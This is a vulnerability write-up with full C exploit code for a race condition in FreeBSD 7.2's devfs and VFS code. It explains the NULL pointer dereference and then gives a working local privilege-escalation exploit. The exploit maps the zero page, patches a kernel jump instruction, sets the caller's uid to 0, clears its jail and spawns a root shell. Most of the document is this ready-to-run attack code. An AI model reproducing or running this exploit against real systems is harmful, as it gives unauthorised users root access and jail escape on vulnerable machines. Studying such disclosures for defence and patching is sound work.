FreeBSD 7.2 - VFS/devfs Race Condition

#if 0
FreeBSD 7.2 and below (including 6.4) are vulnerable to race condition in VFS
and devfs code, resulting in NULL pointer dereference. In contrast to pipe race
condition, this vulnerability is actually much harder to exploit.

Due to uninitalised value in devfs_open(), following function is called with
fp->f_vnode = 0:

static int
devfs_fp_check(struct file *fp, struct cdev **devp, struct cdevsw **dswp)
{

        *dswp = devvn_refthread(fp->f_vnode, devp);
        if (*devp != fp->f_data) {
                if (*dswp != NULL)
[6]                        dev_relthread(*devp);
                return (ENXIO);
        }
        KASSERT((*devp)->si_refcount > 0,
            ("devfs: un-referenced struct cdev *(%s)", devtoname(*devp)));
        if (*dswp == NULL)
                return (ENXIO);
        curthread->td_fpop = fp;
        return (0);
}


struct cdevsw *
devvn_refthread(struct vnode *vp, struct cdev **devp)
{
        struct cdevsw *csw;
        struct cdev_priv *cdp;

        mtx_assert(&devmtx, MA_NOTOWNED);
        csw = NULL;
        dev_lock();
[1]        *devp = vp->v_rdev;
        if (*devp != NULL) {
[2]                cdp = (*devp)->si_priv;
[3]                if ((cdp->cdp_flags & CDP_SCHED_DTR) == 0) {
[4]                        csw = (*devp)->si_devsw;
                        if (csw != NULL)
[5]                                (*devp)->si_threadcount++;
                }
        }
        dev_unlock();
        return (csw);
}

In [1] vp is dereferenced, resulting in user-controllable *devp pointer (loaded
from *0x1c). If values dereferenced in [2], [3] and [4] are reachable, at [5] we
have memory write at user-controllable address. Unfortunately, the value is
decremented in [6].

In my exploit, I use si_threadcount incrementation to modify kernel code in
devfs_fp_check(). Opcode at 0xc076c64b is "je" (0x74). After incrementation it
changes to 0x75, which is "jne". Such modification results in not calling
dev_relthread() at [6] and eventually leads to function pointer call in
devfs_kqfilter_f().

The following exploit code works only on default 7.2 kernel, due to hardcoded
addresses:
#endif

/* 14.09.2009, babcia padlina 
 * FreeBSD 7.2 devfs kevent() race condition exploit
 *
 * works only on multiprocessor systems
 * compile with -lpthread
 */

#define JE_ADDRESS 0xc076c62b

/* location of "je" (0x74) opcode in devfs_fp_check() - it will be incremented
 * becoming "jne" (0x75), so error won't be returned in devfs_vnops.c:648
 * and junk function pointer will be called in devfs_vnops.c:650
 * 
 * you can obtain it using:
 * $ objdump -d /boot/kernel/kernel | grep -A 50 \<devfs_fp_check\>: | grep je | head -n 1 | cut -d: -f1
 */

#include <pthread.h>

#define _KERNEL

#include <sys/param.h>
#include <sys/conf.h>
#include <sys/ucred.h>
#include <fs/devfs/devfs_int.h>

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/proc.h>

int fd, kq;
struct kevent kev, ke;
struct timespec timeout;
volatile int gotroot = 0;

static void kernel_code(void) {
	struct thread *thread;
	gotroot = 1;
	asm(
		"movl %%fs:0, %0"
		: "=r"(thread)
	);
	thread->td_proc->p_ucred->cr_uid = 0;
	thread->td_proc->p_ucred->cr_prison = NULL;

	return;
}

static void code_end(void) {
	return;
}

void do_thread(void) {
	usleep(100);

	while (!gotroot) {
		memset(&kev, 0, sizeof(kev));
		EV_SET(&kev, fd, EVFILT_READ, EV_ADD, 0, 0, NULL);

		if (kevent(kq, &kev, 1, &ke, 1, &timeout) < 0)
			perror("kevent");

	}

	return;
}

void do_thread2(void) {
	while(!gotroot) {
		/* any devfs node will work */
		if ((fd = open("/dev/null", O_RDONLY, 0600)) < 0)
			perror("open");

		close(fd);
	}

	return;
}

int main(void) {
	int i;
	pthread_t pth, pth2;
	struct cdev devp;
	char *p;
	unsigned long *ap;

	/* 0x1c used for vp->v_rdev dereference, when vp=0 */
	/* 0xa5610e8 used for vp->r_dev->si_priv dereference */
	/* 0x37e3e1c is junk dsw->d_kqfilter() in devfs_vnops.c:650 */

	unsigned long pages[] = { 0x0, 0xa561000, 0x37e3000 };
	unsigned long sizes[] = { 0xf000, 0x1000, 0x1000 }; 

	for (i = 0; i < sizeof(pages) / sizeof(unsigned long); i++) {
		printf("[*] allocating %p @ %p\n", sizes[i], pages[i]);
		if (mmap((void *)pages[i], sizes[i], PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
			perror("mmap");
			return -1;
		}
	}

	*(unsigned long *)0x1c = (unsigned long)(JE_ADDRESS - ((char *)&devp.si_threadcount - (char *)&devp));

	p = (char *)pages[2];
	ap = (unsigned long *)p;

	for (i = 0; i < sizes[2] / 4; i++)
		*ap++ = (unsigned long)&kernel_code;

	if ((kq = kqueue()) < 0) {
		perror("kqueue");
		return -1;
	}

	pthread_create(&pth, NULL, (void *)do_thread, NULL);
	pthread_create(&pth2, NULL, (void *)do_thread2, NULL);

	timeout.tv_sec = 0;
	timeout.tv_nsec = 1;

	printf("waiting for root...\n");
	i = 0;

	while (!gotroot && i++ < 10000)
		usleep(100);

	setuid(0);

	if (getuid()) {
		printf("failed - system patched or not MP\n");
		return -1;
	}

	execl("/bin/sh", "sh", NULL);

	return 0;
}